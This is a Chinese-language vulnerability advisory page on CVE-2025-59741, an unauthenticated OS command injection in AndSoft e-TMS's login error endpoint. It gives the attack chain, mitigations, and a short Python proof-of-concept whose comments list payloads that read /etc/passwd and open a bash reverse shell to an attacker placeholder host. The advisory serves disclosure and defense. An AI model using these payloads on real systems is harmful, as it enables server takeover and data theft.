IPBUF安全漏洞报告
English
CVE-2025-59741 CVSS 9.8 严重

CVE-2025-59741:AndSoft e-TMS 操作系统命令注入漏洞

披露日期: 2025-10-02

漏洞信息

漏洞编号
CVE-2025-59741
漏洞类型
操作系统命令注入(OS Command Injection)
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
AndSoft e-TMS

相关标签

命令注入OS Command InjectionAndSofte-TMSCVSS 9.8严重漏洞无需认证远程代码执行运输管理系统INCIBE

漏洞概述

CVE-2025-59741 是 AndSoft 公司开发的 e-TMS(电子运输管理系统)v25.03 版本中存在的一个高危操作系统命令注入漏洞。该漏洞于2025年10月2日由西班牙国家网络安全研究所(INCIBE)披露,CVSS 3.1 评分高达 9.8 分,属于严重级别漏洞。

e-TMS 是 AndSoft 公司推出的一款广泛应用于物流和运输行业的运输管理系统,主要用于管理运输订单、车辆调度、路线规划和客户关系等业务。该系统通常部署在企业内部服务器或云端环境中,处理大量敏感的运输和客户数据。

该漏洞存在于 e-TMS 系统的 '/CLT/LOGINERRORFRM.ASP' 端点中,具体涉及 'm' 参数。由于系统未对用户输入进行充分的过滤和验证,攻击者可以通过构造恶意的 POST 请求,在 'm' 参数中注入操作系统命令,从而在服务器上执行任意命令。由于该漏洞无需任何身份验证即可利用,且攻击复杂度低,攻击者可以远程通过网络直接对目标服务器发起攻击,对系统的机密性、完整性和可用性造成严重影响。

成功利用该漏洞的攻击者可以完全控制受影响的服务器,获取敏感数据、安装恶意软件、进行横向移动,甚至将服务器用作僵尸网络的一部分进行进一步攻击。该漏洞对使用 e-TMS 系统的物流和运输企业构成重大安全威胁。

技术细节

该漏洞是一个典型的操作系统命令注入漏洞,存在于 AndSoft e-TMS v25.03 的 '/CLT/LOGINERRORFRM.ASP' 端点中。

**漏洞原理:**
在 e-TMS 系统中,当用户访问登录错误页面(LOGINERRORFRM.ASP)时,系统会处理 POST 请求中的 'm' 参数。该参数的值被直接或间接传递给操作系统的命令执行函数(如 system()、exec()、shell_exec() 等),而没有进行适当的输入验证、过滤或转义处理。攻击者可以在 'm' 参数中注入特殊的 shell 元字符(如 ;、|、&、&&、||、$() 等),从而将恶意命令拼接到原始命令中执行。

**利用方式:**
1. 攻击者首先定位目标 e-TMS 服务器的 '/CLT/LOGINERRORFRM.ASP' 端点;
2. 构造包含恶意命令的 POST 请求,将恶意负载放入 'm' 参数中;
3. 发送请求至目标服务器,由于无需认证,服务器直接处理该请求;
4. 服务器将 'm' 参数的值传递给底层 shell 执行,恶意命令随原始命令一同被执行;
5. 攻击者获得在服务器上执行任意命令的能力。

**攻击影响:**
- 由于 CVSS 向量为 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H,攻击者可以远程利用,攻击复杂度低,无需任何权限或用户交互;
- 可完全控制目标服务器,执行任意系统命令;
- 可读取、修改或删除服务器上的所有数据;
- 可安装后门程序,维持持久访问权限;
- 可进行内网横向移动,攻击企业内网其他系统。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过搜索引擎、Shodan 等工具识别暴露在公网的 AndSoft e-TMS 服务器,定位 '/CLT/LOGINERRORFRM.ASP' 端点。
STEP 2
步骤2:漏洞探测
攻击者向目标端点发送包含测试负载的 POST 请求,确认 'm' 参数存在命令注入漏洞。
STEP 3
步骤3:命令注入
攻击者构造包含恶意操作系统命令的 POST 请求,利用 shell 元字符(如 ;、|、& 等)绕过输入验证,在服务器上执行任意命令。
STEP 4
步骤4:权限提升与持久化
攻击者通过执行系统命令获取服务器控制权限,安装后门程序或添加新用户,维持持久访问。
STEP 5
步骤5:数据窃取与横向移动
攻击者窃取服务器上的敏感数据(如运输订单、客户信息等),并尝试利用已控制的服务器作为跳板,对企业内网进行横向渗透。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-59741 - AndSoft e-TMS OS Command Injection PoC # Vulnerability: OS Command Injection in 'm' parameter of '/CLT/LOGINERRORFRM.ASP' # Affected Product: AndSoft e-TMS v25.03 # CVSS: 9.8 (Critical) import requests # Target URL target_url = "http://target-host/CLT/LOGINERRORFRM.ASP" # Malicious payload - command to be executed on the server # Example: Inject a command to list directory contents payload = "test; id" # Send POST request with the malicious 'm' parameter data = { "m": payload } try: response = requests.post(target_url, data=data, timeout=10) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") except requests.exceptions.RequestException as e: print(f"Error: {e}") # Alternative payloads for different OS commands: # Windows: m=test&ipconfig # Linux: m=test;cat /etc/passwd # Reverse shell (Linux): m=test;bash -i >& /dev/tcp/attacker-ip/4444 0>&1

影响范围

AndSoft e-TMS v25.03

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)通过网络访问控制列表(ACL)或防火墙限制 '/CLT/LOGINERRORFRM.ASP' 端点的访问,仅允许可信 IP 地址访问;2)部署 Web 应用防火墙(WAF)规则,检测和阻止包含 shell 元字符(;、|、&、$() 等)的恶意请求;3)监控服务器的系统日志和网络流量,及时发现异常的命令执行活动;4)将 Web 服务进程以最低权限运行,限制攻击者执行命令后的影响范围;5)定期备份重要数据,以便在遭受攻击后能够快速恢复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表